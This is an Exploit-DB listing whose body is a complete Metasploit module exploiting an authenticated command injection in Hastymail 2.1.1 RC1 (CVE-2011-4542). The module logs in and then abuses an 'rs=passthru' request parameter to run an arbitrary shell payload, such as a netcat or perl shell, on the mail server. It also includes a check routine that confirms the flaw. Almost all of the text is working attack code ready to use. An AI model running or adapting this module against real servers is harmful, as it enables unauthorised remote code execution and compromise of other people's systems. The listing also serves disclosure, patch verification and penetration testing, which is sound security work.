Hastymail 2.1.1 RC1 - Command Injection (Metasploit)

EDB-ID:

19758




Platform:

PHP

Date:

2012-07-12


##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info={})
		super(update_info(info,
			'Name'           => "Hastymail 2.1.1 RC1 Command Injection",
			'Description'    => %q{
					This module exploits a command injection vulnerability found in Hastymail
				2.1.1 RC1 due to the insecure usage of the call_user_func_array() function on
				the "lib/ajax_functions.php" script. Authentication is required on Hastymail
				in order to exploit the vulnerability. The module has been successfully tested
				on Hastymail 2.1.1 RC1 over Ubuntu 10.04.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Bruno Teixeira', # Vulnerability Discovery
					'juan vazquez' # Metasploit module
				],
			'References'     =>
				[
					[ 'CVE', '2011-4542' ],
					[ 'BID', '50791' ],
					[ 'OSVDB', '77331' ],
					[ 'URL', 'https://www.dognaedis.com/vulns/DGS-SEC-3.html' ]
				],
			'Payload'        =>
				{
					'Compat'      =>
						{
							'PayloadType' => 'cmd',
							'RequiredCmd' => 'generic perl ruby netcat-e',
						}
				},
			'Platform'       => ['unix'],
			'Arch'           => ARCH_CMD,
			'Targets'        =>
				[
					['Hastymail 2.1.1 RC1', {}]
				],
			'Privileged'     => false,
			'DisclosureDate' => "Nov 22 2011",
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('TARGETURI', [true, "The base path to Hastymail", "/hastymail2/"]),
				OptString.new('USER', [true, "The username to authenticate with", ""]),
				OptString.new('PASS', [true, "The password to authenticate with", ""])
			], self.class)
	end


	def check
		@uri = target_uri.path
		@uri << '/' if @uri[-1,1] != '/'
		@session_id = ""
		@peer = "#{rhost}:#{rport}"

		login

		if not @session_id or @session_id.empty?
			print_error "#{@peer} - Authentication failed"
			return Exploit::CheckCode::Unknown
		end

		test = rand_text_alpha(rand(4) + 4)
		data = "rs=passthru&"
		data << "rsargs[]=#{rand_text_alpha(rand(4) + 4)}&"
		data << "rsargs[]=echo #{test}"
		res = send_request_cgi({
			'method' => 'POST',
			'uri' => "#{@uri}",
			'Cookie' => @session_id,
			'data' => data
		})

		if res and res.code == 200 and res.body =~ /#{test}/
			return Exploit::CheckCode::Vulnerable
		else
			return Exploit::CheckCode::Safe
		end
	end

	def login
		res = send_request_cgi({
			'method' => 'POST',
			'uri'    => "#{@uri}?page=login",
			'vars_post' =>
			{
				'user' => datastore['USER'],
				'pass' => datastore['PASS'],
				'login' => 'Login'
			}
		})

		if res and res.code == 303
			@session_id = res["Set-Cookie"]
			print_good "#{@peer} - Authentication successfully"
		end
	end

	def exploit
		@uri = target_uri.path
		@uri << '/' if @uri[-1,1] != '/'
		@session_id = ""
		@peer = "#{rhost}:#{rport}"

		print_status "#{@peer} - Trying login"
		login

		if not @session_id or @session_id.empty?
			print_error "#{@peer} - Authentication failed"
			return
		end

		print_status "#{@peer} - Authentication successfully, trying to exploit"

		data = "rs=passthru&"
		data << "rsargs[]=#{rand_text_alpha(rand(4) + 4)}&"
		data << "rsargs[]=#{payload.encoded}"

		res = send_request_cgi({
			'method' => 'POST',
			'uri' => "#{@uri}",
			'Cookie' => @session_id,
			'headers' => {
				'Cmd' => Rex::Text.encode_base64(payload.encoded)
			},
			'data' => data
		})

		if not res or res.code != 200 or not res.body =~ /\+/
			print_error "#{@peer} - Exploitation failed"
			return
		end

	end


end